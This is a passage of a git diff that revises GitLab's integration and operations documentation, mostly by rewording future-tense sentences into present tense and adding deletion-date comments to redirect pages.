GitLab. +You must also disable Git SSL verification on the server hosting GitLab. ```ruby omnibus_gitconfig['system'] = { "http" => ["sslVerify = false"] } @@ -142,7 +142,7 @@ For installation from source: args: { scope: 'user:email' } } ``` -You will also need to disable Git SSL verification on the server hosting GitLab. +You must also disable Git SSL verification on the server hosting GitLab. ```shell git config --global http.sslVerify false diff --git a/doc/integration/gitlab.md b/doc/integration/gitlab.md index c618d226290..29d0fa02570 100644 --- a/doc/integration/gitlab.md +++ b/doc/integration/gitlab.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Import projects from GitLab.com and login to your GitLab instance with your GitLab.com account. To enable the GitLab.com OmniAuth provider you must register your application with GitLab.com. -GitLab.com will generate an application ID and secret key for you to use. +GitLab.com generates an application ID and secret key for you to use. 1. Sign in to GitLab.com @@ -85,5 +85,5 @@ GitLab.com will generate an application ID and secret key for you to use. installed GitLab via Omnibus or from source respectively. On the sign in page there should now be a GitLab.com icon below the regular sign in form. -Click the icon to begin the authentication process. GitLab.com will ask the user to sign in and authorize the GitLab application. -If everything goes well the user will be returned to your GitLab instance and will be signed in. +Click the icon to begin the authentication process. GitLab.com asks the user to sign in and authorize the GitLab application. +If everything goes well the user is returned to your GitLab instance and is signed in. diff --git a/doc/integration/gmail_action_buttons_for_gitlab.md b/doc/integration/gmail_action_buttons_for_gitlab.md index 72196fd0f52..fccb190d529 100644 --- a/doc/integration/gmail_action_buttons_for_gitlab.md +++ b/doc/integration/gmail_action_buttons_for_gitlab.md @@ -8,15 +8,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w GitLab supports [Google actions in email](https://developers.google.com/gmail/markup/actions/actions-overview). -If correctly set up, emails that require an action will be marked in Gmail. +If correctly set up, emails that require an action are marked in Gmail.  To get this functioning, you need to be registered with Google. For instructions, see [Register with Google](https://developers.google.com/gmail/markup/registering-with-google). -*This process has a lot of steps so make sure that you fulfill all requirements set by Google.* -*Your application will be rejected by Google if you fail to do so.* +*This process has a lot of steps so make sure that you fulfill all requirements set by Google to avoid your application being rejected by Google.* In particular, note: @@ -25,6 +24,6 @@ In particular, note: (order of hundred emails a day minimum to Gmail) for a few weeks at least". - Have a very low rate of spam complaints from users. - Emails must be authenticated via DKIM or SPF. -- Before sending the final form ("Gmail Schema Whitelist Request"), you must send a real email from your production server. This means that you will have to find a way to send this email from the email address you are registering. You can do this by, for example, forwarding the real email from the email address you are registering or going into the rails console on the GitLab server and triggering the email sending from there. +- Before sending the final form ("Gmail Schema Whitelist Request"), you must send a real email from your production server. This means that you must find a way to send this email from the email address you are registering. You can do this by, for example, forwarding the real email from the email address you are registering or going into the rails console on the GitLab server and triggering the email sending from there. You can check how it looks going through all the steps laid out in the "Registering with Google" doc in [this GitLab.com issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/1517). diff --git a/doc/integration/google.md b/doc/integration/google.md index cd40aaff30a..c4607d6b9f2 100644 --- a/doc/integration/google.md +++ b/doc/integration/google.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Google OAuth2 OmniAuth Provider To enable the Google OAuth2 OmniAuth provider you must register your application -with Google. Google will generate a client ID and secret key for you to use. +with Google. Google generates a client ID and secret key for you to use. ## Enabling Google OAuth @@ -40,7 +40,7 @@ In Google's side: ``` 1. You should now be able to see a Client ID and Client secret. Note them down - or keep this page open as you will need them later. + or keep this page open as you need them later. 1. To enable projects to access [Google Kubernetes Engine](../user/project/clusters/index.md), you must also enable these APIs: - Google Kubernetes Engine API @@ -98,7 +98,7 @@ On your GitLab server: 1. Change `YOUR_APP_ID` to the client ID from the Google Developer page 1. Similarly, change `YOUR_APP_SECRET` to the client secret -1. Make sure that you configure GitLab to use an FQDN as Google will not accept +1. Make sure that you configure GitLab to use a fully-qualified domain name, as Google doesn't accept raw IP addresses. For Omnibus packages: @@ -119,6 +119,6 @@ On your GitLab server: installed GitLab via Omnibus or from source respectively. On the sign in page there should now be a Google icon below the regular sign in -form. Click the icon to begin the authentication process. Google will ask the +form. Click the icon to begin the authentication process. Google asks the user to sign in and authorize the GitLab application. If everything goes well -the user will be returned to GitLab and will be signed in. +the user is returned to GitLab and is signed in. diff --git a/doc/integration/img/sourcegraph_admin_v12_5.png b/doc/integration/img/sourcegraph_admin_v12_5.png Binary files differindex 54511541c87..e42371a681e 100644 --- a/doc/integration/img/sourcegraph_admin_v12_5.png +++ b/doc/integration/img/sourcegraph_admin_v12_5.png diff --git a/doc/integration/jenkins.md b/doc/integration/jenkins.md index 7eb147c1fe6..9fd82c22e8f 100644 --- a/doc/integration/jenkins.md +++ b/doc/integration/jenkins.md @@ -54,9 +54,9 @@ Grant a GitLab user access to the select GitLab projects. 1. Create a new GitLab user, or choose an existing GitLab user. - This account will be used by Jenkins to access the GitLab projects. We recommend creating a GitLab + This account is used by Jenkins to access the GitLab projects. We recommend creating a GitLab user for only this purpose. If you use a person's account, and their account is deactivated or - deleted, the GitLab-Jenkins integration will stop working. + deleted, the GitLab-Jenkins integration stops working. 1. Grant the user permission to the GitLab projects. @@ -96,12 +96,12 @@ For more information, see GitLab Plugin documentation about ## Configure the Jenkins project -Set up the Jenkins project you’re going to run your build on. +Set up the Jenkins project you intend to run your build on. 1. On your Jenkins instance, go to **New Item**. 1. Enter the project's name. 1. Choose between **Freestyle** or **Pipeline** and click **OK**. - We recommend a Freestyle project, because the Jenkins plugin will update the build status on + We recommend a Freestyle project, because the Jenkins plugin updates the build status on GitLab. In a Pipeline project, you must configure a script to update the status on GitLab. 1. Choose your GitLab connection from the dropdown. 1. Check the **Build when a change is pushed to GitLab** checkbox. @@ -186,7 +186,7 @@ If those are present, the request is exceeding the [webhook timeout](../user/project/integrations/webhooks.md#receiving-duplicate-or-multiple-webhook-requests-triggered-by-one-event), which is set to 10 seconds by default. -To fix this the `gitlab_rails['webhook_timeout']` value will need to be increased +To fix this the `gitlab_rails['webhook_timeout']` value must be increased in the `gitlab.rb` config file, followed by the [`gitlab-ctl reconfigure` command](../administration/restart_gitlab.md). If you don't find the errors above, but do find *duplicate* entries like below (in `/var/log/gitlab/gitlab-rail`), this diff --git a/doc/integration/jenkins_deprecated.md b/doc/integration/jenkins_deprecated.md index 63d5ac48765..d68923ed137 100644 --- a/doc/integration/jenkins_deprecated.md +++ b/doc/integration/jenkins_deprecated.md @@ -41,7 +41,7 @@ In GitLab, perform the following steps. Jenkins needs read access to the GitLab repository. We already specified a private key to use in Jenkins, now we need to add a public one to the GitLab -project. For that case we will need a Deploy key. Read the documentation on +project. For that case we need a Deploy key. Read the documentation on [how to set up a Deploy key](../ssh/README.md#deploy-keys). ### Jenkins service @@ -50,14 +50,13 @@ Now navigate to GitLab services page and activate Jenkins  -Done! Now when you push to GitLab - it will create a build for Jenkins. -And also you will be able to see merge request build status with a link to the Jenkins build. +Done! Now when you push to GitLab - it creates a build for Jenkins, and you can view the merge request build status with a link to the Jenkins build. ### Multi-project Configuration The GitLab Hook plugin in Jenkins supports the automatic creation of a project -for each feature branch. After configuration GitLab will trigger feature branch -builds and a corresponding project will be created in Jenkins. +for each feature branch. After configuration GitLab triggers feature branch +builds and a corresponding project is created in Jenkins. Configure the GitLab Hook plugin in Jenkins. Go to 'Manage Jenkins' and then 'Configure System'. Find the 'GitLab Web Hook' section and configure as shown below. diff --git a/doc/integration/jira.md b/doc/integration/jira.md index 37eba25fb5a..0e22bedd1cc 100644 --- a/doc/integration/jira.md +++ b/doc/integration/jira.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/integrations/jira.md' --- This document was moved to [another location](../user/project/integrations/jira.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/ldap.md b/doc/integration/ldap.md index 25e4cc52375..55c169bca80 100644 --- a/doc/integration/ldap.md +++ b/doc/integration/ldap.md @@ -3,3 +3,6 @@ redirect_to: '../administration/auth/ldap/index.md' --- This document was moved to [`administration/auth/ldap`](../administration/auth/ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/oauth2_generic.md b/doc/integration/oauth2_generic.md index 5957af292ab..cfa846decf8 100644 --- a/doc/integration/oauth2_generic.md +++ b/doc/integration/oauth2_generic.md @@ -20,7 +20,7 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc ## Limitations of this Strategy -- It can only be used for Single Sign on, and will not provide any other access granted by any OAuth provider +- It can only be used for Single Sign on, and doesn't provide any other access granted by any OAuth provider (importing projects or users, etc) - It only supports the Authorization Grant flow (most common for client-server applications, like GitLab) - It is not able to fetch user information from more than one URL @@ -37,7 +37,7 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc ``` 1. You should now be able to get a Client ID and Client Secret. - Where this shows up will differ for each provider. + Where this shows up differs for each provider. This may also be called Application ID and Secret 1. On your GitLab server, open the configuration file. @@ -64,6 +64,6 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc 1. Restart GitLab for the changes to take effect On the sign in page there should now be a new button below the regular sign in form. -Click the button to begin your provider's authentication process. This will direct +Click the button to begin your provider's authentication process. This directs the browser to your OAuth2 Provider's authentication page. If everything goes well -the user will be returned to your GitLab instance and will be signed in. +the user is returned to your GitLab instance and is signed in. diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md index 68d10a3135e..0819e949915 100644 --- a/doc/integration/oauth_provider.md +++ b/doc/integration/oauth_provider.md @@ -48,12 +48,12 @@ In order to add a new application via your profile, navigate to  In the application form, enter a **Name** (arbitrary), and make sure to set up -correctly the **Redirect URI** which is the URL where users will be sent after +correctly the **Redirect URI** which is the URL where users are sent after they authorize with GitLab.  -When you hit **Submit** you will be provided with the application ID and +When you click **Submit** you are provided with the application ID and the application secret which you can then use with your application that connects to GitLab. @@ -71,7 +71,7 @@ the user authorization step is automatically skipped for this application. ## Authorized applications -Every application you authorized to use your GitLab credentials will be shown +Every application you authorized to use your GitLab credentials is shown in the **Authorized applications** section under **Profile Settings > Applications**.  diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md index eebafab2693..95d672ee89d 100644 --- a/doc/integration/omniauth.md +++ b/doc/integration/omniauth.md @@ -51,23 +51,23 @@ that are in common for all providers that we need to consider. NOTE: **Note:** Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an -earlier version, you'll need to explicitly enable it. +earlier version, you must explicitly enable it. - `allow_single_sign_on` allows you to specify the providers you want to allow to automatically create an account. It defaults to `false`. If `false` users must - be created manually or they will not be able to sign in via OmniAuth. + be created manually or they can't sign in via OmniAuth. - `auto_link_ldap_user` can be used if you have [LDAP / ActiveDirectory](../administration/auth/ldap/index.md) integration enabled. It defaults to `false`. When enabled, users automatically - created through an OmniAuth provider will have their LDAP identity created in GitLab as well. + created through an OmniAuth provider have their LDAP identity created in GitLab as well. - `block_auto_created_users` defaults to `true`. If `true` auto created users will - be blocked by default and will have to be unblocked by an administrator before + be blocked by default and must be unblocked by an administrator before they are able to sign in. NOTE: **Note:** If you set `block_auto_created_users` to `false`, make sure to only define providers under `allow_single_sign_on` that you are able to control, like SAML, Shibboleth, Crowd or Google, or set it to `false` otherwise any user on -the Internet will be able to successfully sign in to your GitLab without +the Internet can successfully sign in to your GitLab without administrative approval. NOTE: **Note:** @@ -141,8 +141,8 @@ OmniAuth provider for an existing user. 1. Go to profile settings (the silhouette icon in the top right corner). 1. Select the "Account" tab. 1. Under "Connected Accounts" select the desired OmniAuth provider, such as Twitter. -1. The user will be redirected to the provider. Once the user authorized GitLab - they will be redirected back to GitLab. +1. The user is redirected to the provider. After the user authorizes GitLab, + they are redirected back to GitLab. The chosen OmniAuth provider is now active and can be used to sign in to GitLab from then on. @@ -171,8 +171,8 @@ omniauth: > Introduced in GitLab 8.7. You can define which OmniAuth providers you want to be `external` so that all users -**creating accounts, or logging in via these providers** will not be able to have -access to internal projects. You will need to use the full name of the provider, +**creating accounts, or logging in via these providers** can't have +access to internal projects. You must use the full name of the provider, like `google_oauth2` for Google. Refer to the examples for the full names of the supported providers. @@ -206,7 +206,7 @@ these cases you can use the OmniAuth provider. ### Steps -These steps are fairly general and you will need to figure out the exact details +These steps are fairly general and you must figure out the exact details from the OmniAuth provider's documentation. - Stop GitLab: @@ -343,8 +343,8 @@ omniauth: auto_sign_in_with_provider: azure_oauth2 ``` -Keep in mind that every sign-in attempt will be redirected to the OmniAuth -provider; you won't be able to sign in using local credentials. Ensure at least +Keep in mind that every sign-in attempt is redirected to the OmniAuth +provider; you can't sign in using local credentials. Ensure at least one of the OmniAuth users has admin permissions. You may also bypass the auto sign in feature by browsing to diff --git a/doc/integration/salesforce.md b/doc/integration/salesforce.md index 3290f18e2cb..4f4f9b3e3d1 100644 --- a/doc/integration/salesforce.md +++ b/doc/integration/salesforce.md @@ -82,8 +82,8 @@ To get the credentials (a pair of Client ID and Client Secret), you must [create 1. [Reconfigure GitLab]( ../administration/restart_gitlab.md#omnibus-gitlab-reconfigure ) or [restart GitLab]( ../administration/restart_gitlab.md#installations-from-source ) for the changes to take effect if you installed GitLab via Omnibus or from source respectively. On the sign in page, there should now be a Salesforce icon below the regular sign in form. -Click the icon to begin the authentication process. Salesforce will ask the user to sign in and authorize the GitLab application. -If everything goes well, the user will be returned to GitLab and will be signed in. +Click the icon to begin the authentication process. Salesforce asks the user to sign in and authorize the GitLab application. +If everything goes well, the user is returned to GitLab and is signed in. NOTE: **Note:** -GitLab requires the email address of each new user. Once the user is logged in using Salesforce, GitLab will redirect the user to the profile page where they will have to provide the email and verify the email. +GitLab requires the email address of each new user. Once the user is logged in using Salesforce, GitLab redirects the user to the profile page where they must provide the email and verify the email. diff --git a/doc/integration/shibboleth.md b/doc/integration/shibboleth.md index 59374d8ad6f..d59ecca0b8d 100644 --- a/doc/integration/shibboleth.md +++ b/doc/integration/shibboleth.md @@ -54,10 +54,10 @@ The following changes are needed to enable Shibboleth: NOTE: **Note:** Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an - earlier version, you'll need to explicitly enable it in `/etc/gitlab/gitlab.rb`. + earlier version, you must explicitly enable it in `/etc/gitlab/gitlab.rb`. 1. In addition, add Shibboleth to `/etc/gitlab/gitlab.rb` as an OmniAuth provider. - User attributes will be sent from the + User attributes are sent from the Apache reverse proxy to GitLab as headers with the names from the Shibboleth attribute mapping. Therefore the values of the `args` hash should be in the form of `"HTTP_ATTRIBUTE"`. The keys in the hash are arguments @@ -100,12 +100,12 @@ The following changes are needed to enable Shibboleth: 1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../administration/restart_gitlab.md#installations-from-source) GitLab for the changes to take effect if you installed GitLab via Omnibus or from source respectively. -On the sign in page, there should now be a "Sign in with: Shibboleth" icon below the regular sign in form. Click the icon to begin the authentication process. You will be redirected to IdP server (depends on your Shibboleth module configuration). If everything goes well the user will be returned to GitLab and will be signed in. +On the sign in page, there should now be a "Sign in with: Shibboleth" icon below the regular sign in form. Click the icon to begin the authentication process. You are redirected to IdP server (depends on your Shibboleth module configuration). If everything goes well the user is returned to GitLab and is signed in. ## Apache 2.4 / GitLab 8.6 update The order of the first 2 Location directives is important. If they are reversed, -you will not get a Shibboleth session! +requesting a Shibboleth session fails! ```plaintext <Location /> diff --git a/doc/integration/slack.md b/doc/integration/slack.md index 815032a08d5..fbea9d3035c 100644 --- a/doc/integration/slack.md +++ b/doc/integration/slack.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/integrations/slack.md' --- This document was moved to [another location](../user/project/integrations/slack.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/slash_commands.md b/doc/integration/slash_commands.md index ea2c4b3e93f..502475931b6 100644 --- a/doc/integration/slash_commands.md +++ b/doc/integration/slash_commands.md @@ -37,11 +37,11 @@ It is possible to create new issue, display issue details and search up to 5 iss ## Deploy command -In order to deploy to an environment, GitLab will try to find a deployment +In order to deploy to an environment, GitLab tries to find a deployment manual action in the pipeline. -If there is only one action for a given environment, it is going to be triggered. -If there is more than one action defined, GitLab will try to find an action +If there is only one action for a given environment, it is triggered. +If there is more than one action defined, GitLab tries to find an action which name equals the environment name we want to deploy to. -Command will return an error when no matching action has been found. +The command returns an error when no matching action has been found. diff --git a/doc/integration/sourcegraph.md b/doc/integration/sourcegraph.md index 47c84643a7d..4bbb34b5fda 100644 --- a/doc/integration/sourcegraph.md +++ b/doc/integration/sourcegraph.md @@ -64,6 +64,8 @@ Feature.enable(:sourcegraph, Project.find_by_full_path('my_group/my_project')) If you are new to Sourcegraph, head over to the [Sourcegraph installation documentation](https://docs.sourcegraph.com/admin) and get your instance up and running. +If you are using an HTTPS connection to GitLab, you will need to [configure HTTPS](https://docs.sourcegraph.com/admin/http_https_configuration) for your Sourcegraph instance. + ### Connect your Sourcegraph instance to your GitLab instance 1. Navigate to the site admin area in Sourcegraph. diff --git a/doc/integration/trello_power_up.md b/doc/integration/trello_power_up.md index 22481e14236..4ad9d2c2b3a 100644 --- a/doc/integration/trello_power_up.md +++ b/doc/integration/trello_power_up.md @@ -13,7 +13,7 @@ GitLab **merge requests** to Trello cards. ## Configuring the Power-Up -In order to get started, you will need to configure your Power-Up. +In order to get started, you must configure your Power-Up. In Trello: @@ -23,19 +23,19 @@ In Trello: 1. Select the `Settings` (gear) icon 1. In the popup menu, select `Authorize Account` -In this popup, fill in your `API URL` and `Personal Access Token`. After that, you will be able to attach any merge request to any Trello card on your selected Trello board. +In this popup, fill in your `API URL` and `Personal Access Token`. After that, you can attach any merge request to any Trello card on your selected Trello board. ## What is my API URL? Your API URL should be your GitLab instance URL with `/api/v4` appended in the end of the URL. For example, if your GitLab instance URL is `https://gitlab.com`, your API URL would be `https://gitlab.com/api/v4`. -If your instance's URL is `https://example.com`, your API URL will be `https://example.com/api/v4`. +If your instance's URL is `https://example.com`, your API URL is `https://example.com/api/v4`.  ## What is my Personal Access Token? -Your GitLab's personal access token will enable your GitLab account to be accessed +Your GitLab's personal access token enables your GitLab account to be accessed from Trello. > Find it in GitLab by clicking on your avatar (upright corner), from which you access diff --git a/doc/integration/twitter.md b/doc/integration/twitter.md index bfe18c43e9d..507d2b965a4 100644 --- a/doc/integration/twitter.md +++ b/doc/integration/twitter.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Twitter OAuth2 OmniAuth Provider -To enable the Twitter OmniAuth provider you must register your application with Twitter. Twitter will generate a client ID and secret key for you to use. +To enable the Twitter OmniAuth provider you must register your application with Twitter. Twitter generates a client ID and secret key for you to use. 1. Sign in to [Twitter Application Management](https://developer.twitter.com/apps). @@ -85,4 +85,4 @@ To enable the Twitter OmniAuth provider you must register your application with 1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect if you installed GitLab via Omnibus or from source respectively. -On the sign in page there should now be a Twitter icon below the regular sign in form. Click the icon to begin the authentication process. Twitter will ask the user to sign in and authorize the GitLab application. If everything goes well the user will be returned to GitLab and will be signed in. +On the sign in page there should now be a Twitter icon below the regular sign in form. Click the icon to begin the authentication process. Twitter asks the user to sign in and authorize the GitLab application. If everything goes well the user is returned to GitLab and signed in. diff --git a/doc/license/README.md b/doc/license/README.md index fd110a39b61..f0ff27c315e 100644 --- a/doc/license/README.md +++ b/doc/license/README.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/license.md' --- This document was moved to [another location](../user/admin_area/license.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/markdown/markdown.md b/doc/markdown/markdown.md index 29cb6ac9164..e68f9c217d5 100644 --- a/doc/markdown/markdown.md +++ b/doc/markdown/markdown.md @@ -3,3 +3,6 @@ redirect_to: '../user/markdown.md' --- This document was moved to [another location](../user/markdown.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/migrate_ci_to_ce/README.md b/doc/migrate_ci_to_ce/README.md index 17f9db10767..c2eedb08823 100644 --- a/doc/migrate_ci_to_ce/README.md +++ b/doc/migrate_ci_to_ce/README.md @@ -11,7 +11,7 @@ Beginning with version 8.0 of GitLab Community Edition (CE) and Enterprise Edition (EE), GitLab CI is no longer its own application, but is instead built into the CE and EE applications. -This guide will detail the process of migrating your CI installation and data +This guide details the process of migrating your CI installation and data into your GitLab CE or EE installation. **You can only migrate CI data from GitLab CI 8.0 to GitLab 8.0; migrating between other versions (e.g.7.14 to 8.1) is not possible.** @@ -28,9 +28,9 @@ The migration consists of three parts: updating GitLab and GitLab CI, moving data, and redirecting traffic. Please note that CI builds triggered on your GitLab server in the time between -updating to 8.0 and finishing the migration will be lost. Your GitLab server +updating to 8.0 and finishing the migration are lost. Your GitLab server can be online for most of the procedure; the only GitLab downtime (if any) is -during the upgrade to 8.0. Your CI service will be offline from the moment you +during the upgrade to 8.0. Your CI service remains offline from the moment you upgrade to 8.0 until you finish the migration procedure. ## Before upgrading @@ -47,8 +47,8 @@ If you want to migrate your existing data, continue reading. ### 0. Updating Omnibus from versions prior to 7.13 -If you are updating from older versions you should first update to 7.14 and then to 8.0. -Otherwise it's pretty likely that you will encounter problems described in the [Troubleshooting](#troubleshooting). +If you are updating from older versions you should first update to 7.14 and then to 8.0 +to avoid the problems described in the [Troubleshooting](#troubleshooting) section. ### 1. Verify that backups work @@ -123,7 +123,7 @@ store build traces on the same storage as your Git repositories. ## I. Upgrading -From this point on, GitLab CI will be unavailable for your end users. +From this point on, GitLab CI is unavailable for your end users. ### 1. Upgrade GitLab to 8.0 @@ -169,10 +169,10 @@ sudo -u gitlab_ci -H bundle exec whenever --clear-crontab RAILS_ENV=production ### 1. Database encryption key Move the database encryption key from your CI server to your GitLab - server. The command below will show you what you need to copy-paste to your -GitLab server. On Omnibus GitLab servers you will have to add a line to -`/etc/gitlab/gitlab.rb`. On GitLab servers installed from source you will have -to replace the contents of `/home/git/gitlab/config/secrets.yml`. + server. The command below shows you what you need to copy-paste to your +GitLab server. On Omnibus GitLab servers you must add a line to +`/etc/gitlab/gitlab.rb`. On GitLab servers installed from source you must +replace the contents of `/home/git/gitlab/config/secrets.yml`. ```shell # On your CI server: @@ -188,8 +188,8 @@ sudo -u gitlab_ci -H bundle exec rake backup:show_secrets RAILS_ENV=production Create your final CI data export. If you are converting from MySQL to PostgreSQL, add `MYSQL_TO_POSTGRESQL=1` to the end of the Rake command. When -the command finishes it will print the path to your data export archive; you -will need this file later. +the command finishes it prints the path to your data export archive; you +need this file later. ```shell # On your CI server: @@ -208,7 +208,7 @@ If you were running GitLab and GitLab CI on the same server you can skip this step. Copy your CI data archive to your GitLab server. There are many ways to do -this, below we use SSH agent forwarding and `scp`, which will be easy and fast +this, below we use SSH agent forwarding and `scp`, which is easy and fast for most setups. You can also copy the data archive first from the CI server to your laptop and then from your laptop to the GitLab server. @@ -235,7 +235,7 @@ sudo mv /path/to/12345_gitlab_ci_backup.tar /home/git/gitlab/tmp/backups/ ### 5. Import the CI data into GitLab -This step will delete any existing CI data on your GitLab server. There should +This step deletes any existing CI data on your GitLab server. There should be no CI data yet because you turned CI on the GitLab server off earlier. ```shell @@ -274,8 +274,8 @@ so that existing links to your CI server keep working. ### 1. Update NGINX configuration To ensure that your existing CI runners are able to communicate with the -migrated installation, and that existing build triggers still work, you'll need -to update your NGINX configuration to redirect requests for the old locations to +migrated installation, and that existing build triggers still work, you must +update your NGINX configuration to redirect requests for the old locations to the new ones. Edit `/etc/nginx/sites-available/gitlab_ci` and paste: diff --git a/doc/monitoring/health_check.md b/doc/monitoring/health_check.md index b611fa388b4..d607ea03d5a 100644 --- a/doc/monitoring/health_check.md +++ b/doc/monitoring/health_check.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/monitoring/health_check.md' --- This document was moved to [user/admin_area/monitoring/health_check](../user/admin_area/monitoring/health_check.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/performance/gitlab_configuration.md b/doc/monitoring/performance/gitlab_configuration.md index 233a12ebd6f..6a6f297f674 100644 --- a/doc/monitoring/performance/gitlab_configuration.md +++ b/doc/monitoring/performance/gitlab_configuration.md @@ -3,3 +3,6 @@ redirect_to: '../../administration/monitoring/performance/gitlab_configuration.m --- This document was moved to [administration/monitoring/performance/gitlab_configuration](../../administration/monitoring/performance/gitlab_configuration.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/performance/grafana_configuration.md b/doc/monitoring/performance/grafana_configuration.md index f4e3561a19f..98dfe51ae04 100644 --- a/doc/monitoring/performance/grafana_configuration.md +++ b/doc/monitoring/performance/grafana_configuration.md @@ -3,3 +3,6 @@ redirect_to: '../../administration/monitoring/performance/grafana_configuration. --- This document was moved to [administration/monitoring/performance/grafana_configuration](../../administration/monitoring/performance/grafana_configuration.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/performance/introduction.md b/doc/monitoring/performance/introduction.md index e23eabd5f40..71ecd24c743 100644 --- a/doc/monitoring/performance/introduction.md +++ b/doc/monitoring/performance/introduction.md @@ -3,3 +3,6 @@ redirect_to: '../../administration/monitoring/performance/index.md' --- This document was moved to [administration/monitoring/performance/introduction](../../administration/monitoring/performance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/cleaning_up_redis_sessions.md b/doc/operations/cleaning_up_redis_sessions.md index bde7fffd090..96f72099f8f 100644 --- a/doc/operations/cleaning_up_redis_sessions.md +++ b/doc/operations/cleaning_up_redis_sessions.md @@ -3,3 +3,6 @@ redirect_to: '../administration/operations/cleaning_up_redis_sessions.md' --- This document was moved to [another location](../administration/operations/cleaning_up_redis_sessions.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md index fad2c0e39be..569ced5bde3 100644 --- a/doc/operations/error_tracking.md +++ b/doc/operations/error_tracking.md @@ -20,7 +20,7 @@ You can sign up to the cloud hosted [Sentry](https://sentry.io), deploy your own ### Enabling Sentry -GitLab provides an easy way to connect Sentry to your project. You will need at +GitLab provides an easy way to connect Sentry to your project. You need at least Maintainer [permissions](../user/permissions.md) to enable the Sentry integration. 1. Sign up to Sentry.io or [deploy your own](#deploying-sentry) Sentry instance. @@ -31,7 +31,7 @@ least Maintainer [permissions](../user/permissions.md) to enable the Sentry inte click **Enable Error Tracking**. 1. Navigate to your project’s **Settings > Operations**. In the **Error Tracking** section, ensure the **Active** checkbox is set. -1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname will be `https://sentry.io`. +1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname is `https://sentry.io`. 1. In the **Auth Token** field, enter the token you previously generated. 1. Click the **Connect** button to test the connection to Sentry and populate the **Project** dropdown. 1. From the **Project** dropdown, choose a Sentry project to link to your GitLab project. @@ -65,7 +65,7 @@ By default, a **Create issue** button is displayed:  -If you create a GitLab issue from the error, the **Create issue** button will change to a **View issue** button and a link to the GitLab issue will surface within the error detail section: +If you create a GitLab issue from the error, the **Create issue** button changes to a **View issue** button and a link to the GitLab issue displays within the error detail section:  @@ -79,7 +79,7 @@ You can take action on Sentry Errors from within the GitLab UI. From within the [Error Details](#error-details) page you can ignore a Sentry error by simply clicking the **Ignore** button near the top of the page. -Ignoring an error will prevent it from appearing in the [Error Tracking List](#error-tracking-list), and will silence notifications that were set up within Sentry. +Ignoring an error prevents it from appearing in the [Error Tracking List](#error-tracking-list), and silences notifications that were set up within Sentry. ### Resolving errors @@ -88,6 +88,6 @@ Ignoring an error will prevent it from appearing in the [Error Tracking List](#e From within the [Error Details](#error-details) page you can resolve a Sentry error by clicking the **Resolve** button near the top of the page. -Marking an error as resolved indicates that the error has stopped firing events. If a GitLab issue is linked to the error, then the issue will be closed. +Marking an error as resolved indicates that the error has stopped firing events. If a GitLab issue is linked to the error, then the issue closes. If another event occurs, the error reverts to unresolved. diff --git a/doc/operations/incident_management/alert_details.md b/doc/operations/incident_management/alert_details.md index 459331ea0a5..cd73e9e7e1f 100644 --- a/doc/operations/incident_management/alert_details.md +++ b/doc/operations/incident_management/alert_details.md @@ -3,3 +3,6 @@ redirect_to: alerts.md --- This document was moved to [another location](alerts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/incident_management/alert_integrations.md b/doc/operations/incident_management/alert_integrations.md index 7850841d380..c983216fda8 100644 --- a/doc/operations/incident_management/alert_integrations.md +++ b/doc/operations/incident_management/alert_integrations.md @@ -60,7 +60,7 @@ and you can [customize the 